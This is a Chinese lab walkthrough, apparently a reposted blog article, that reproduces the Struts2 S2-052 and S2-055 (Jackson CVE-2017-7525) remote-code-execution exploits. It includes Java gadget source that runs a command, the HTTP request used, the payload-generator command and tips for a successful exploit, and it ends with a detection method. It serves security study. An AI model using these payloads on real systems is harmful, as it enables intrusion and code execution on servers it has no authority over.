webbrowse提示版本过低_Structs全版本漏洞利用总结

本文转自公众号:安全祖师爷

前言

Struts2框架目前已知的漏洞编号如下:

  • S2-005

  • S2-009

  • S2-016 (含S2-013)

  • S2-019

  • S2-020

  • S2-021

  • S2-032

  • S2-037(含S2-033)

  • DevMode

  • S2-045

  • S2-046

  • S2-048

  • S2-052

  • S2-055

  • S2-057

目前公开的工具,唯独缺失052和055的利用。S2-055比较特殊,严格来说055本身无问题,问题出在其使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。也就是说S2-055本质上是Jackson反序列化,其CVE编号为CVE-2017-7525。本文将对缺失的S2-055以及S2-052做漏洞复现,至于其他版本的利用可参见下图的工具。

6520f62be97e408dd66410c59875b529.png

检测工具

S2-052

使用搭建的环境,点击任意一个edit并submit一次,截包报文,修改Content-Typeapplication/xml

7597f14498af69f8919176f89753f243.png

Edit

b2187e723314cbd36479c6ff08ce2883.png

Submit

0caa29492cf16407762a7c5673077f8d.png

application/xml

完整的数据包payload如下

POST /st2-052/orders/5 HTTP/1.1Host: 192.168.50.129:8080Content-Length: 1720Cache-Control: max-age=0Origin: http://192.168.50.129:8080Upgrade-Insecure-Requests: 1Content-Type: application/xmlUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.50.129:8080/st2-052/orders/5/editAccept-Encoding: gzip, deflateAccept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6Cookie: JSESSIONID=1109456161E6ECD09D5B4A28122050D7; ADMINCONSOLESESSION=2hUOycdoVZXd7JWNrE9MQ5-QczsMItp1AJpSHSyKvb6U95SBCn8o!853562462; JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897Connection: close

我这里给出的是反弹shell的payload,你可以修改为自己想要执行的命令。

10b17b4ddb667afd6d1e57fdc84abbd5.png

弹shell

S2-055 && CVE-2017-7525

影响情况

受影响的版本
Jackson Version 2.7.* < 2.7.10
Jackson Version 2.8.* < 2.8.9

不受影响的版本
Jackson Version 2.7.10
Jackson Version 2.8.9

漏洞环境搭建

去iBearcat的gayhub下载漏洞war包
war包直链:

https://raw.githubusercontent.com/iBearcat/S2-055/master/struts2-rest-showcase.war
为了方便将其改名为st2-055.war,放到tomcat的webapps下,它会自动解压

a98d851c69f3ffdd9a198831c6e421d6.png

st2-055.war

我们访问http://ip:8080/st2-055/即可

6072c3dee1771556d6f26a8c1db41f82.png

访问

EXP准备

我们使用以下代码生成payload需要的class

ExploitCommand.javapackage exploit;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;public class ExploitCommand extends AbstractTranslet {    public ExploitCommand() throws Exception {        try {            BufferedReader br = null;            Process p = Runtime.getRuntime().exec("notepad");            br = new BufferedReader(new InputStreamReader(p.getInputStream()));            String line = null;            StringBuilder sb = new StringBuilder();            while((line = br.readLine()) != null) {                sb.append(line + "\n");                System.out.println(sb.toString());            }            System.out.println("\n[*] Payload it's ok!!!!");        } catch (IOException var5) {            var5.printStackTrace();        }    }    public static void main(String[] args) throws Exception {        new ExploitCommand();    }    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

这里又调用了JavaRuntime的exec了,所以如果你需要执行复杂命令,你需要使用JavaRuntime转义

运行上面的代码,你的编译环境如果匹配你想要执行的命令,编译机器同样也会执行相应的命令。举个例子,你的编译环境是win,但你编译的命令是nautilus,你编译时控制台会发生报错,找不到这个program。没关系,我们需要编译以后的class就行了,不需要真的在编译环境执行命令。

4fff9240ff0b754fcc976ced079c6d22.png

编译以后的class

接下来,我们需要准备生成payload的项目
iBearcat已经准备好了生成需要用的jar,但是兼容性有问题,它并不能用在Unix上,也就是macOS和Linux被拒之门外。

f39f007a70b111c430f27ea167ee0556.png

兼容性问题

我尝试对该jar包反编译,发现了问题所在。

9cf869e3eca4082baf90f963faff9639.png

问题所在

44eb6a2e6a30d949e3bc5362f4ac6646.png

问题所在

没错,问题出在那个斜杠上面,我们只需要\改为//即可。

5c1c3bb58a2b78be3a588fef4af51420.png

macOS

54a4e6ca7f70d4c8d06c768381acc5a7.png

Win10

经过我反编译以后,重新打包,可以正常使用并且兼容两个版本。
payload生成的命令为:java -jar JacksonExp.jar ExploitCommand.class clientName

坑点
1.tomcat的用户

首先,如果你需要做一些弹出类的命令操作,一定要记得选择压缩包版本的tomcat,因为压缩包版的用户是你的系统用户。假如你在root下运行tomcat,此时你tomcat的用户也是root。但如果你使用的是yum或者apt安装的tomcat,它的用户将是tomcat,所以你不能执行一些弹出类的命令,例如nautilus

2.ExploitCommand.class的编译

ExploitCommand.class是直接决定你能否exploit成功的关键。ExploitCommand.class编译时的jdk版本一定要和靶机的jdk版本一致,也就是说要成功利用反序列化,jdk必须为<=1.7.不论是编译jdk还是靶机jdk都需要为<=1.7.具体原因是jdk1.7到jdk1.8,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类有了变化,才导致反序列化利用失败的。

弹个文件管理器

解决了坑点问题,我们就可以愉快的弹出文件管理器了。
首先,我们点击Create a new order

13053b142efea883c4f03b3d72b25d33.png

Create a new order

然后点击Submit使用Burpsuite拦截报文

2f31571f6b795b5d224115cd9c1dfb4d.png

Submit

我们修改Content-Type的值为application/json,且将JacksonExp.jar生成的payload粘贴到下方即可

bbcac3f9c87cfe6c3018305c6822b6be.png

Content-Type

然后点击go即可弹出文件管理器

c7428366e781346f5cec61c6828b5d8b.png

弹出文件管理器

我们的控制台会有相应的提示

6a2b7a575e9029f9fa9b57b788c5e69a.png

控制台

检测方法

e137f6e66b6f5f08aa552ae909c24178.png

Freddy 2.0

目前Jackson类的漏洞,最好的检测方式就是使用BurpSuite安装Freddy 2.0这个插件,它会自动基于流量进行识别。

利用难点

S2-055这个漏洞,利用极为苛刻,因为jdk限制版本且需要有一个参数满足是对象类的条件。因为漏洞环境给出的参数为clientName,所以为什么生成payload命令的参数填写的是clientName。在实战时,要根据实际的参数进行调整。也许这就是为什么055缺失在一键化工具中的原因吧。

参考

https://github.com/iBearcat/S2-055

相关操作学习推荐

Struts2(S2-016/17)漏洞实验本实验分析了struts2 的漏洞s2-016/017的形成原因,并复现该漏洞。点击文末“

1e7a006f0666656c27dd218eb025a37f.png

b2ad6b6a60da8b3ac70f584a61326e4a.gif

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击重金悬赏 | 合天原创投稿等你来!

d263392b1479309b605213373d468458.gif

12d8e80d6e31ad9948ed8f3c00f0a674.gif点击“阅读全文”,开始操作
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值